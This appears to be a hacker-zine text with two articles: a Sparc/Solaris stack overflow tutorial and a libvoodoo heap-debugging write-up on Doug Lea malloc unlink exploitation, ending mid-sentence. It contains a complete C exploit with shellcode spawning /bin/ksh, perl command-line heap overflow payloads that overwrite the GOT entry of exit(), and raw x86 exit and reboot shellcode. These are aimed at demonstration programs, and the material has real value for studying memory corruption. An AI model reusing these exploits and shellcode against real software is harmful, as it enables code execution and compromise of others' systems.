Sparc is a RISC architecture built by Sun Microsystems. It's supported by many
operating systems like Solaris, Linux, OpenBSD, NetBSD,...
As Sun decided to develop Solaris => 9 for Sparc only and as there
is not much information on Sparc overflows on the net i decided to write
this article. There are some major differences in handling the calling
and returning from functions and stack management on Sparc that are
worth knowing. If you ever asked yourself: "Why am I unable exploit this
simply strcpy() in main() on Sparc ...". This paper has the answer.
:> Architecture Overview
There are 32 general purpose registers on Sparc at any given time.
8 of them are global, these are the "global" registers. They are called
%g0 - %g7 and are consistent during procedure calls. Then there are
another 24 registers in a so called register windows. A window consists
of 3 types of registers. The "in", "out" and "local" registers.
A Sparc implementation can have anything from 2 to 32 windows thus having
40 - 520 registers (remember that the global registers are static).
The variable number of registers is the reason to call Sparc scalable.
At any given time only one window is visible. This window is determined
by the CWP (current window pointer) which is part of the PSR (processor
status register in Sparc V8). It's a whole register in Sparc V9.
These instructions are primarily used for procedure calls. The concept is
that "in" registers contain procedure arguments, "local" registers can be
used for storing values while the procedure executes, "out" registers contain
outgoing arguments. The "global" registers are used for values that do not
change much between procedure calls.
The register windows overlap partially. The SAVE operation renames the "out"
registers to become the "in" registers of the called procedure. Because
procedure calls are a quite frequent operation this was meant to improve
performance.
Actually this was a bad idea caused by studies that only considered
insolated programs. The drawback is: With interaction with the system the
registers have to be stored on the stack which results in a lot of slow
store and load instructions.
:>> 2.1 - Sparc Registers
The Registers are organized as follows:
%g0 - %g7 (%r0 - %r7) : global - registers
%o0 - %o7 (%r8 - %r15) : out - registers, they contain arguments for
procedure calls
%l0 - %l7 (%r16 - %r23): local - registers, use them for local variables
%i0 - %i7 (%r24 - %r31): in - registers, after a procedure call these
registers contain incoming arguments
Some special registers:
%g0 : always contains zero (hardwired)
%sp (%o6) : the stack pointer, points to the top of the stack frame
(the last element pushed onto it)
%o7 : called subroutines return address
%fp (%i6) : the frame pointer, points to the bottom of the stack frame
%i7 : subroutine return address (return address - eight)
%o0 : return value from called subroutine
:>> 2.2 - The Sparc Pipeline
The Sparc Architecture uses a pipeline to improve performance. A pipeline
is used to fetch/execute more instructions in the same time as without a
pipeline. Usually there are several steps until a CPU finishes the execution
of an instruction. The instruction has to be fetched, decoded, executed,
branches have to be completed ( pc = npc ) and results have to be written
to the destination.
Doing all this things and then start from the beginning with the next instruction
is a waste of time. Thus a pipeline was implemented to fetch instructions. While
it decodes the first instruction it fetches the next one... and so on.
Using this technique several instructions can be executed almost in
parallel. How these steps are implemented differs from pipeline to pipeline.
The Sparc pipeline has a depth of two. Hence there is a PC and a nPC
(next Program counter pointing to the next instruction to be executed).
nPC is always copied into PC after the current instruction was executed.
You might ask yourself what happens if the CPU executes a branch instruction
(jumps somewhere) and already has the next instrucion in the pipeline.
It's unknown at compile time whether this branch will be taken or not.
The already fetched instruction could simply be discarded but this
would be a perfomance loss. Thus the Sparc architecture executes the
instruction following the branch instruction before the branch is taken.
e.g.: call subroutine <- %o0 is allready zero here
xor %o0,%o0,%o0 <- executed before call
This is known as a branch delay slot.
:>> 2.3 - Instruction size
The x86 instructions differ in their length. Sparc uses a pipeline to
improve perfomance and the designers found it easier to implement every
instruction as a four byte opcode sequence. But this also means that a
NOP has a length of four bytes as well. Usually this would be a little problem
(consider what happens if we jump into the middle of a NOP).
Because we have to care about alignment this problem vanishes soon
though.
:>> 2.4 - Function calls
The Sparc architecture uses the call/ret instruction pair to implement
procedure calls. Both the CALL and RET instruction are so called synthetic
instructions. The hardware equivalent instruction
(the instruction assembled into the binary) is a jump (jmpl).
Note "l" stands for link not for long.
The assembler plays a bigger role on executinoi speed on RISC than on CISC:
* The assembler reorders instruction to a logical eqivalent
procedure to prevent different pipeline hazards.
* It also optimizes branch delay slots via placing instructions
in there.
* It inlines macros of synthetic instructions or even compounds
instructions.
For example:
* call subroutine == jmpl subroutine,%o7
( remember that %o7 contains the called subroutines return address )
* ret == jmpl %i7+8,%g0
( remember that %i7 is ret address - 8, %g0 always
contains zero )
The CALL instruction saves the current value of PC in %o7, updates PC and
sets nPC to the address specified in the CALL.
The RET instruction updates PC and sets nPC to %i7+8. 8 bytes are added to
the address because the address saved in %i7 is the address of the call
instruction. Because all instructions have a size of four bytes and there is a
branch delay slot of four bytes after the call we have to skip eight bytes.
%i7 is used instead of %o7 because the SAVE instruction renamed the "out"
register to "in" registers.
Next thing a procedure does is building some stack space to store automatic
(local) variables, compiler temporaries, pointer to return value, ...
This is done with the SAVE and RESTORE instructions.
* SAVE:
The SAVE instruction reserves stack space for the above mentioned
things. It's syntax is:
save %sp, imm(ediate value), %sp.
SAVE now makes the old %sp the new %fp, adds imm to the old %sp and
stores the new value in the new %sp. Because the stack grows down
imm should be a negative value. The CPW flag in the PSR
register is also decremented. (out registers become in registers).
Note that on Sparc V9 the behaviour is a little different. Sparc V9
has a seperate register for CWP. SAVE increments the CWP and RESTORE
decrements it.
* RESTORE:
RESTORE now increments CWP (Sparc V9 decrements) the CPW.
In registers become the out registers. The eight input registers and the
eight local registers are restored to the values they contained
before the most recent SAVE instruction. The restore instruction
then acts like an add instruction except that the source registers
are from the old register set and the destination register is from
the new register set. Making %fp the new %sp.
A procedure epilogue and prologue thus look like:
save %sp, -368, %sp
....
....
....
ret
restore
Restore is executed one slot later in the pipeline, but its effects take
place before ret changes the %pc.
:>> 2.5 - Leaf and Optimized Leaf Procedures
A leaf procedure is a procedure that does not call any other procedures.
A routine that does not allocate a register window of its own by calling
the SAVE instruction is termed an optimized leaf procedure.
One way to recognize an optimized leaf procedure is by scanning the output
of the assembly code instructions and noting the absence of a SAVE
instruction. Leaf routines do not have a stack frame allocated to them.
Leaf routines use their caller's stack frame and register window.
If the routine is leaf the previous frames PC should be looked up in
register %o7. Otherwise it needs to be looked up in register %i7, which is
what register %o7 becomes after a SAVE instruction. This is what defines
leafness.
:>> 2.6 - The Sparc Stack
High Addresses
/-----------------------\
%fp -> cw | automatic variables |
\-----------------------/
/----------------------------------\
cw | space allocated with alloca() |
\----------------------------------/
/----------------------------------\
cw | space for compiler temporaries |
\----------------------------------/
/----------------------------------\
cl | outgoing parameters |
\----------------------------------/
/----------------------------------------\
cl | copies of outgoing parameters |
\----------------------------------------/
/----------------------------------------\
cl | one word ( hidden parameter ) |
\----------------------------------------/
/-----------------------------------------------\
%sp -> cl | 64 byte for possible copy of register window |
\-----------------------------------------------/
Low Addresses
The stack consists of 2 parts:
Current Workspace ( cw ):
The current workspace is used by C procedures. It consists of
automatic variables, space allocated by alloca() and space for
compiler temporaries. When writing an assembly routine you only
have to calculate space for temporary values you need.
Call Linkage ( cl ):
This space is required to save outgoing registers and the register
window when control passes to another procedure.
The Call Linkage is important for exploiting Sparc overflows.
The minimum stack frame size is 96 byte.
It consists of:
* 64 bytes for copy of register window
* 6 * 4 bytes for outgoing parameters
* 4 bytes for the hidden parameter
This are only 92 byte but the stack and frame pointer
require to be on a eight byte boundary ( 92 is not divisible by eight ).
Hence the minimum stack frame size is 96 byte.
The reason to be on a eight byte boundary is that there is at least space for one
temporary variable.
As the current workspace contains a dynamically allocated field( alloca() ).
We can not tell how much blocks this will be at compile time. Hence automatic
variables are accessed via %fp as negative offsets and the others are
accessed via %sp as positives offsets.
:> A demonstration vulnerability
Not every buffer overflow is exploitable on Sparc. We need at least one
level of nesting function to be able to exploit it.
void copy( const char *a ){
char buf[256];
strcpy(buf,a);
}
main( int argc, char *argv[] ) {
copy( argv[1] );
}
:>> 3.1 - Studying the overflow in theory
Let us recall what happens on function calls and function returns.
%i7 contains main's return address. It will return into exit()
in _start to perform cleanup before program termination.
main() calls copy(), jmpl ( call ) saves the return address back
into main() in register %o7 and the SAVE instruction in/decrements
the register window renaming %o7 into %i7. %i7 is already filled with
main´s() return address into exit() though. Thus main´s() register
window is stored on copy´s() stack frame. %i7 contains now copy´s()
return address back into main.
strcpy() follows the same algorithm.
After strcpy() overwrites parts of our stack we also overwrite copy´s()
initial stack frame. Strcpy's() stack frame and its stored return
address back into copy() are still intact and strcpy() returns back
into copy(). All register contents are still intact but copy´s() stack
frame is damaged. Copy() finally restores and jumps back to main(). But
main´s() register window was saved on copy´s() stack frame and damaged
by our overflown strcpy(). When returning back into main() the
saved/damaged register window is restored. The input and local registers
now contain user supplied data. When main() returns it would usually jump
into exit() in _start to perform cleanup, but as we changed the return
address it jumps into nowhere ( 0x61616161 ) and dies with a SIGBUS error.
:>> 3.2 - Studying the overflow with gdb
Let us feed this into gdb and see what happens. Note that i have deleted
redundant information like static registers that are not saved in the
register windows to shorten the output and to make the overflowing
process clearer.
This are our registers in main before copy is called.
(gdb) info register
sp 0xffbef838
o7 0x106c0
l0 0xc
l1 0xff3400a4
l2 0xff33c5d8
l3 0x0
l4 0x0
l5 0x0
l6 0x0
l7 0xff3e6694
i0 0x2
i1 0xffbef90c
i2 0xffbef918
i3 0x20870
i4 0x0
i5 0x0
fp 0xffbef8a8
i7 0x104c8
This is our stack frame before copy() is called.
Thats our saved register window. Note the saved PC at 0xffbef874.
(gdb) x/96x $sp
%sp -> 0xffbef838: 0x0000000c 0xff3400a4 0xff33c5d8 0x00000000 [%l0 - %l3]
0xffbef848: 0x00000000 0x00000000 0x00000000 0xff3e6694 [%l4 - %l7]
0xffbef858: 0x00000002 0xffbef90c 0xffbef918 0x00020870 [%i0 - %i3]
0xffbef868: 0x00000000 0x00000000 0xffbef8a8 0x000104c8 [%i4 - %i7]
. . . . .
. . . . .
. . . . .
%fp -> 0xffbef9a8: 0x00000003 0x00010034 0x00000004 0x00000020
Breakpoint 5, 0x10610 in copy ()
Register values in copy() before the call to strcpy().
(gdb) info register
sp 0xffbef6c8
o7 0x0
l0 0x0
l1 0x0
l2 0x0
l3 0x0
l4 0x0
l5 0x0
l6 0x0
l7 0x0
i0 0xffbefa37
i1 0xffbef910
i2 0xffbef90c
i3 0x300
i4 0x2371c
i5 0xff29bbc0
fp 0xffbef838
i7 0x10640
And the stack frame befor the strcpy() call. Note how the saved register
window ( of main() ) moved "below" our input buffer.
This is the register window of copy(). We will not be able to overwrite the
PC at 0xbffef704 because its "above" our input buffer. This PC contains
the return address back to main.
(gdb) x/96x $sp
%sp -> 0xffbef6c8: 0x00000000 0x00000000 0x00000000 0x00000000
0xffbef6d8: 0x00000000 0x00000000 0x00000000 0x00000000
0xffbef6e8: 0xffbefa37 0xffbef910 0xffbef90c 0x00000300
0xffbef6f8: 0x0002371c 0xff29bbc0 0xffbef838 0x00010640 [saved PC]
. . . . .
. . . . .
. . . . .
buf -> 0xffbef728: 0x00000000 0x00000000 0x00000000 0x00000000
0xffbef738: 0x00000000 0x00000000 0x00000000 0x00000000
0xffbef748: 0x00000000 0x00000000 0x00000000 0x00000000
. . . . .
. . . . .
. . . . .
%fp -> 0xffbef838: 0x0000000c 0xff3400a4 0xff33c5d8 0x00000000
0xffbef848: 0x00000000 0x00000000 0x00000000 0xff3e6694
0xffbef858: 0x00000002 0xffbef90c 0xffbef918 0x00020870
0xffbef868: 0x00000000 0x00000000 0xffbef8a8 0x000104c8 <- PC
( PC to exit (in _start ) )
Breakpoint 6, 0x1061c in copy ()
Register values after strcpy() overflowed the buffer.
(gdb) info register
sp 0xffbef6c8
o7 0x10614
l0 0x0
l1 0x0
l2 0x0
l3 0x0
l4 0x0
l5 0x0
l6 0x0
l7 0x0
i0 0xffbefa37
i1 0xffbef910
i2 0xffbef90c
i3 0x300
i4 0x2371c
i5 0xff29bbc0
fp 0xffbef838
i7 0x10640
And the corrupted stack frame.
(gdb) x/96x $sp
0xffbef6c8: 0x00000000 0x00000000 0x00000000 0x00000000
0xffbef6d8: 0x00000000 0x00000000 0x00000000 0x00000000
0xffbef6e8: 0xffbefa37 0xffbef910 0xffbef90c 0x00000300
0xffbef6f8: 0x0002371c 0xff29bbc0 0xffbef838 0x00010640*
. . [ * PC to main still intact ]
. . . . .
. . . . .
. . . . .
buf-> 0xffbef728: 0x61616161 0x61616161 0x61616161 0x61616161
0xffbef738: 0x61616161 0x61616161 0x61616161 0x61616161
0xffbef748: 0x61616161 0x61616161 0x61616161 0x61616161
0xffbef758: 0x61616161 0x61616161 0x61616161 0x61616161
. . . . .
. . . . .
. . . . .
0xffbef868: 0x61616161 0x61616161 0x61616161 0x61616161*
[* PC to exit damaged ]
Very nice. We were able to alter main()'s saved PC into exit.
After copy() restores the in and local registers are set to the
"saved/damaged" values. Hence we altered these values due to the overflow
of the input buffer the in and local registers contain our supplied values.
Breakpoint 7, 0x10648 in main ()
(gdb) info register
sp 0xffbef838
o7 0x10640
l0 0x61616161
l1 0x61616161
l2 0x61616161
l3 0x61616161
l4 0x61616161
l5 0x61616161
l6 0x61616161
l7 0x61616161
i0 0x61616161
i1 0x61616161
i2 0x61616161
i3 0x61616161
i4 0x61616161
i5 0x61616161
fp 0x61616161
i7 0x61616161 <- next ret will jump here+8
Main is now about to cleanup and jump into exit. But as we altered it´s saved
PC it will jump into 0x61616161+8 and die.
:> Building an exploit
In this section we will build an exploit for the the vulnerability we just
studied. We also list some differences between x86 and Sparc exploitation
and cover alignment issues.
:>> 4.1 - Differences between x86 and Sparc exploitation
* memory access:
On x86 as on most CISC processors we can write to unaligned memory
addresses without the CPU complaining. Sometimes we only have to
adjust the alignment. Not so on Sparc. See more about alignment at 4.2.
Note that writing to unaligned memory addresses is a CPU feature of
the x86 family. It will complain if the AC ( alignment check ) flag
is set in the flag register.
* call/ret internals:
Because of the internal working of the sparc stack frames and ret/call
pairs we need at least one level of nesting function to be able to
exploit a buffer overflow vulnerability on a Sparc.
* finding the stack base address:
Sparc Solaris uses a different stack base address on different
architectures.
- sun4u: 0xffbe....,
- sun4m: 0xefff....,
- sun4d: 0xdfff....
We can get the stack base address with the following assembler snippet:
unsigned long get_sp( void ) {
__asm__(" or %sp, %sp, %i0 " );
}
* size of overflow:
On a Sparc we usually have to be able to write more than just a
few bytes beyond the target buffer. This is because we have to overwrite
at least %l0 - %l7 and %i0 - %i6 before reaching the saved return address.
* overwriting an address with one byte:
Overflowing an address with one byte on x86 lets us control
the least significant byte. Chances are good that we can
alter some stack address a little bit to point into our shellcode.
As Sparc is a big endian architecture we can only write from most
to least significant byte. Thus we can alter only the most
significant order byte with a one byte overflow. This decreases
our chances of providing some usefull address.
See [3] for more details on one byte overflows.
:>> 4.2 - Alignment
As most other RISC processors Sparc does not allow unaligned memory
accesses. This means we must not read from, write to or jump to any
address that is not on a 4 byte boundary. Otherwise the CPU generates
a Bus Error exception and our program dies. Also consider what happened
if we jumped into the middle of one of our NOPs. Remember that every
Sparc instruction is 4 bytes long. It is very probable that the processor
would generate an Illegal Instruction exception and our program crashed
as well.
That is why we have to take care that our exploit return address is a
multiple of 4, our shellcode lies at a 4 byte boundary in our attack
buffer and our attack buffer itself is a multiple of 4.
:>> 4.3 - Exploiting the vulnerability
Note that we take care about writing only to aligned memory addresses.
If we put our shellcode to some unaligned address in our attack buffer
we will never be able to reach it. Same with the nops. Unaligned nops
makes us jump into the middle of a nop everytime we would reach the nops.
This results in an Illegal Instruction exception and our program dies
without executing our code.
We also have to set %fp to a "save" address or the retl instruction will
crash. A "save" address simply is some stack address. We could also use
our return address to overwrite %fp.
/* Exploits toy vulnerbility on Sparc/Solaris
*
* pr1
* June 2002
*/
#include <stdio.h>
/* lsd - Solaris shellcode
*/
static char shell[]= /* 10*4+8 bytes */
"\x20\xbf\xff\xff" /* bn,a <shellcode-4> */
"\x20\xbf\xff\xff" /* bn,a <shellcode> */
"\x7f\xff\xff\xff" /* call <shellcode+4> */
"\x90\x03\xe0\x20" /* add %o7,32,%o0 */
"\x92\x02\x20\x10" /* add %o0,16,%o1 */
"\xc0\x22\x20\x08" /* st %g0,[%o0+8] */
"\xd0\x22\x20\x10" /* st %o0,[%o0+16] */
"\xc0\x22\x20\x14" /* st %g0,[%o0+20] */
"\x82\x10\x20\x0b" /* mov 0x0b,%g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"/bin/ksh" ;
#define BUFSIZE 336
/* SPARC NOP
*/
static char np[] = "\xac\x15\xa1\x6e";
unsigned long get_sp( void ) {
__asm__("or %sp,%sp,%i0");
}
main( int argc, char *argv[] ) {
char buf[ BUFSIZE ],*ptr;
unsigned long ret,sp;
int rem,i,err;
ret = sp = get_sp();
if( argv[1] ) {
ret -= strtoul( argv[1], (void *)0, 16 );
}
/* align return address */
if( ( rem = ret % 4 ) ) {
ret &= ~(rem);
}
bzero( buf, BUFSIZE );
for( i = 0; i < BUFSIZE; i+=4 ) {
strcpy( &buf[i], np );
}
memcpy( (buf + BUFSIZE - strlen( shell ) - 8),shell,strlen( shell ));
ptr = &buf[328];
/* set fp to a save stack value
*/
*( ptr++ ) = ( sp >> 24 ) & 0xff;
*( ptr++ ) = ( sp >> 16 ) & 0xff;
*( ptr++ ) = ( sp >> 8 ) & 0xff;
*( ptr++ ) = ( sp ) & 0xff;
/* we now overwrite saved PC
*/
*( ptr++ ) = ( ret >> 24 ) & 0xff;
*( ptr++ ) = ( ret >> 16 ) & 0xff;
*( ptr++ ) = ( ret >> 8 ) & 0xff;
*( ptr++ ) = ( ret ) & 0xff;
buf[ BUFSIZE -1 ] = 0;
#ifndef QUIET
printf("Return Address 0x%x\n",ret);
#endif
err = execl( "./vul", "vul", buf, ( void *)0 );
if( err == -1 ) perror("execl");
}
:> Alternative ways of exploitation
As we saw very small overruns are not as likely to be exploitable on
Sparc as they are on other platforms. But let us consider some
special cases where you are able to overwrite other sensitive
information on the stack.
An example is overwriting a programs function pointer or jumpbuf with
the address of system and telling it to execute /bin/sh.
See [4] for more information about overwriting such structures.
On sparc the text segment is mapped to small addresses.
If we now try to overwrite this function pointer/jumpbuf with some other
function - address. We can not write this small address into the register
without any 0x00 bytes. This
is because we can only write from most to least
significant byte on Sparc.
An alternative way is placing shellcode onto the stack and overwriting
the function pointer with the shellcodes stack address which comprises
eight bytes.
Because of Alignment restrictions on Sparc we can´t exploit format
string vulnerabilities via the "%n" directive.( Writing one byte 4 times )
by using the short qualifier the alignment is emulated either in software
or special machine instructions are used, and you can usually write on every
two byte boundary. See [6] for more information.
The return into libc technique can also be applied on Solaris/Sparc to
defeat non executable stack patches. See [7] for more information.
Dynamic heap overflows via corruption of malloc internal structures
are exploitable on Sparc as well.
See [8] and [9] for a glibc and the SysV malloc implementation and
exploitation discussion.
:> Conclusion
We need a bit more luck to be able to exploit Sparc buffer overflows
than their brothers/sisters on x86. In general it is not enough to be
able to overwrite just a few bytes of the buffer. Additionaly we saw that
the way the stack is handled has a great influence on the exploitability
issue of its buffer overrun vulnerabilities. This class of vulnerablities
can not always be exploited on Sparc as there must exist at least one level
of subroutine calls nesting, so that two concurrent ret/restore pairs can be
executed by a vulnerable program after its stack got overrun.
:> References
[1] UNF - United Net Frontier
[http://www.u-n-f.com]
[2] Sun Microsystems
Sparc Assembly Language Reference Manual
[http://www.sparc.org]
[3] Klog
Frame pointer overwriting
[http://www.phrack.org/show.php?p=55&a=8]
[4] Matt Conover aka. Shok
w00w00 on Heap Overflows
[http://www.w00w00.org/files/articles/heaptut.txt]
[5] some interesting pdfs about computer architectures
[http://www.segfault.net/~scut/cpu]
[6] Scut
Exploiting Format String vulnerabilities
[http://www.team-teso.net/releases/formatstring-1.2.tar.gz]
[7] Horizon
Return into libc exploits on Sparc/Solaris
[http://packetstormsecurity.nl/groups/horizon/stack.txt]
[8] Maxx
Exploiting dynamic heap overflows via malloc chunk corruption.
[http://www.phrack.org/phrack/57/p57-0x08]
[9] Exploiting dynamic heap overflows via malloc chunk corruption.
[http://www.phrack.org/phrack/57/p57-0x09]
¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬
#=> 0x06 Doug Lea Malloc Debug Wr1tten by boldface
¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬
:> Introduction
Due to the fact that heap overflows are hard to debug
and audit i created this lame LD_PRELOAD library to
provide you with the needed internals from DOUG LEA's malloc
algorithm at runtime.
:> Download
download http://bf.u-n-f.com/voodoo/rls/
:> Installation
make
make install
export LD_PRELOAD=/lib/libvoodoo.so
or gcc -lvoodoo -o bla bla.c
Sometimes it is necessary to exclude some application from
beeing processes with libvoodoo (e.g. gdb, gcc, perl, ls ...).
Just save all full-paths to /etc/libvoodoo.exclude and be happy !
:> History
- output optimization, especially for off-by-five/one
- uses stderr instead of stdout, which causes a lot of problems
- output optimization
- founded sometimes
:> TODO
- support for frontlink() technic ...
- support for *BSD
/*
* LIBVOODOO EXAMPLE (vuln1.c)
* by boldface <boldface@datapop.net>
*
* *PRIVATE* *BOERP*
*
*/
/*
* libvoodoo example vulnerable program
* for demonstration
* by boldface <boldface@datapop.net>
*
*/
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char **argv)
{
char *buffer1 = malloc(250);
char *buffer2 = malloc(250);
if (argc <= 1) {
printf("too few arguments\n");
exit(-1);
}
strcpy(buffer1, argv[1]);
free(buffer1);
exit(0);
}
:> 1. Step
slipdre:~/projects/voodoo/example# export LD_PRELOAD=/lib/libvoodoo.so
slipdre:~/projects/voodoo/example# ./vuln1 `perl -e 'print "A"x300'`
[1] chunk_alloc: 0x080496b0 (256 (0x100) bytes)
[1] chunk_alloc: 0x080497b0 (256 (0x100) bytes)
chunk_free : chunk: 0x080496b0 | next chunk: 0x080497b0 | top chunk: 0x080498b0
[2] chunk sz: 256 (0x100) | next chunk size: 1094795584 (0x41414140)
Segmentation fault (core dumped)
[1] the malloc(250) is aligned to 256 bytes !! good to know for exploitation !!
[2] the buffer2->size field was overwritten with A (0x41414140). Doug Lea's malloc
uses the least signifficant bits of size to store additional informations:
This results in 0x41414140 instead of 0x41414141 !
cf. #define chunksize(p) ((p)->size & ~(SIZE_BITS))
#define SIZE_BITS (PREV_INUSE|IS_MMAPPED)
good to know for exploitation !!
:> 2. Step
We now insert the correct values for prev_size and size of buffer2:
prev_size = size = 0xfffffffc;
We know that the chunk is padded to 256, where one byte is used to store prev_size
of the next buffer. We thus use this string:
'A'x248 \xff\xff\xff\xfc \xff\xff\xff\xfc
slipdre:~/projects/voodoo/example# ./vuln1 `perl -e 'print "A"x248; print "\xfc\xff\xff\xff\xfc\xff\xff\xff"'`
chunk_alloc: 0x080496b0 (256 (0x100) bytes)
chunk_alloc: 0x080497b0 (256 (0x100) bytes)
chunk_free : chunk: 0x080496b0 | next chunk: 0x080497b0 | top chunk: 0x080498b0
[1] chunk sz: 256 (0x100) | next chunk size: -4 (0xfffffffc)
[*] consolidate forward
with next chunk: 0x80497b0 | next prevsz: 0xfffffffc | next sz: -4 (0xfffffffc) | total sz: 252 (0xfc
[*] unlink:
[2] P->bk: 0x00000000 | P->fd: 0x00000000
[3] [*] Setting 0x00000000 + 12 to 0x00000000
Segmentation fault (core dumped)
[1] The PREV_INUSE bit is cleared, and forward consolidation takes place
[2] The values are empty, we fill them in the next step
[3] We trade with illegal addresses and receive segmentation fault
:> 3. Step
File: example2.txt Col 0 7389 bytes 37%
We now insert the correct values for fd and bk:
Our aim is to store p->bk at p->fd + 12:
We overwrite the GOT entry of exit() with the address
stored at p->bk ! Thus, p->fd needs to point to GOT of exit()
plus 12 and p->bk needs to point to our shellcode, which is
stored in buffer1 ..
Now we obtain the addresses to use:
Switching off the library (objdump and ltrace generate lotsa output):
slipdre:~/projects/voodoo/example# unset LD_PRELOAD
Obtaining FD address
slipdre:~/projects/voodoo/example# objdump -R vuln1 | grep exit
080495e4 R_386_JUMP_SLOT exit
Obtaining BK address (here is our shellcode)
slipdre:~/projects/voodoo/example# ltrace ./vuln1
malloc(250) = 0x080496b8
malloc(250) = 0x080497b8
Switch back on the lights erm ... library:
slipdre:~/projects/voodoo/example# export LD_PRELOAD=/lib/libvoodoo.so
FD: 0x080495e4 - 12 = 0x080495D8 (-12 due to the fact, that ->bk has offset 12)
BK: 0x080496b8 + 8 = 0x080496c0
slipdre:~/projects/voodoo/example# ./vuln1 `perl -e 'print "A"x248; print "\xfc\xff\xff\xff\xfc\xff\xff\xff"; print "\
chunk_alloc: 0x080cb870 (368 (0x170) bytes)
chunk_alloc: 0x080496b0 (368 (0x170) bytes)
chunk_free : chunk: 0x080496b0 | next chunk: 0x08049820 | top chunk: 0x08049820
chunk sz: 368 (0x170) | next chunk size: 2016 (0x7e0)
[*] merge with top
chunk_alloc: 0x080496b0 (256 (0x100) bytes)
chunk_alloc: 0x080497b0 (256 (0x100) bytes)
chunk_free : chunk: 0x080496b0 | next chunk: 0x080497b0 | top chunk: 0x080498b0
chunk sz: 256 (0x100) | next chunk size: -4 (0xfffffffc)
[*] consolidate forward
with next chunk: 0x80497b0 | next prevsz: 0xfffffffc | next sz: -4 (0xfffffffc) | total sz: 252 (0xfc
[*] unlink:
P->bk: 0x080496c0 | P->fd: 0x080495d8
[1] [*] Setting 0x080495d8 + 12 to 0x080496c0
[2] [+] FD->bk = BK : ok
[3] [+] BK->fd = FD : ok
[4] [+] chunk_free succeeded
[5] Segmentation fault (core dumped)
[1] The Addresses
[2] + [3] Fine !!
[4] The whole chunk_free() segment succeeded .. we can conclude that we only touched proper addresses !!
[5] The Segmenation fault occurs, because their's no valid ASM code at 0x080496c0
:> 4. Step
We now insert jump-ahead + exit(0) shellcode to prove that everything was done probably.
leet-advice(tm): use gdb and do a echo `which gdb` >> /etc/libvoodoo.exclude
(santa claus: "i used this perl shit because it's fucking handy!!" )
`perl -e 'print "AAAABBBB\xeb\x0c\x90\x90" . "\x90"x222 . "\x31\xc0\x40\xcd\x80AAAAAAAAA"; print "\xfc\xff\xff\xff\xfc
padding to start shellcode at right position --------^^
i'm not sure what parts we can omit -it's all handmade - ,
but this works pretty straight forward and that's what we want!
slipdre:~/projects/voodoo/example# ./vuln1 `perl -e 'print "AAAABBBB\xeb\x0c\x90\x90" . "\x90"x222 . "\x31\xc0\x40\xcd
chunk_alloc: 0x080cb870 (368 (0x170) bytes)
chunk_alloc: 0x080496b0 (368 (0x170) bytes)
chunk_free : chunk: 0x080496b0 | next chunk: 0x08049820 | top chunk: 0x08049820
chunk sz: 368 (0x170) | next chunk size: 2016 (0x7e0)
[*] merge with top
chunk_alloc: 0x080496b0 (256 (0x100) bytes)
chunk_alloc: 0x080497b0 (256 (0x100) bytes)
chunk_free : chunk: 0x080496b0 | next chunk: 0x080497b0 | top chunk: 0x080498b0
chunk sz: 256 (0x100) | next chunk size: -4 (0xfffffffc)
[*] consolidate forward
with next chunk: 0x80497b0 | next prevsz: 0xfffffffc | next sz: -4 (0xfffffffc) | total sz: 252 (0xfc
[*] unlink:
P->bk: 0x080496c0 | P->fd: 0x080495d8
[*] Setting 0x080495d8 + 12 to 0x080496c0
[+] FD->bk = BK : ok
[+] BK->fd = FD : ok
[+] chunk_free succeeded
We see, no segmenation fault, our exit(0) shellcode was probably executed.
(if you doubt this, because you think it was just the exit(0) part in the original source, manipulate the shellcode
a bit and you'll see the light -- so bright .. besserwisser)
Another linux box - example:
[root@main example]#
Let's replace the shellcode with another one.
I replaced the exit(0) shellcode with a reboot shellcode.
char rebootshellcode[] =
"\xeb\x16\x5e\x31\xc0\xb0\x58\xbb\xad\xde\xe1\xfe\xb9\x69\x19"
"\x12\x28\xba\x67\x45\x23\x01\xcd\x80\xe8\xe5\xff\xff\xff";
First time I failed : wrong computed fd value and bad alligning.
Computed values :
080499cc R_386_JUMP_SLOT exit
malloc(250) = 0x08049aa8 (first malloc)
(I computed wrong FD 0x080499cc-12 ) instead of -C = 0x080499BA = "\xBA\x99\x04\x08"
The right value should be FD 0x080499cc-C = 0x080499c0 = "\xC0\x99\x04\x08"
BK 0x08049aa8+8 = 0x08049AB0 = "\xB0\x9A\x04\x08"
Computed values :
FD 0x080499cc-C = 0x080499c0 = "\xC0\x99\x04\x08"
BK 0x08049aa8+8 = 0x08049AB0 = "\xB0\x9A\x04\x08"
chunk_alloc: 0x08049aa0 (256 (0x100) bytes)
chunk_alloc: 0x08049ba0 (256 (0x100) bytes)
chunk_free : chunk: 0x08049aa0 | next chunk: 0x08049ba0 | top chunk: 0x08049ca0
chunk sz: 256 (0x100) | chunk prev_size: 0 (0x0)
next prev size: -4 (0xfffffffc) | next chunk size: -4 (0xfffffffc)
[*] consolidate forward
with next chunk: 0x8049ba0 | next prevsz: 0xfffffffc | next sz: -4 (0xfffffffc) | total sz: 252 (0xfc)
[*] unlink:
P->bk: 0x08049ab0 | P->fd: 0x080499c0
[*] Setting 0x080499c0 + 12 to 0x08049ab0
[+] FD->bk = BK : ok
[+] BK->fd = FD : ok
[+] chunk_free was successfull
My wrong example ( with wrong computed FD )
./vuln1 `perl -e 'print "AAAABBBB\xeb\x0c\x90\x90" . "\x90"x198 . "\xeb\x16\x5e\x31\xc0\xb0\x58\xbb\xad\xde\xe1\xfe\xb9\x69\x19\x12\x28\xba\x67\x45\x23\x01\xcd\x80\xe8\xe5\xff\xff\xffAAAAAAAAA"; print "\xfc\xff\xff\xff\xfc\xff\xff\xff"; print "\xBA\x99\x04\x08"; print "\xB0\x9A\x04\x08"'`
Let's analyse bf's first example.
"AAAABBBB\xeb\x0c\x90\x90" = 4timesA, 4timesB, \xeb\x0c = jump12, 2timesX90
The lenght is 8+2+2 = 12
In bf example follows "\x90"x222 in mine is "\x90"x198 I shortened it because
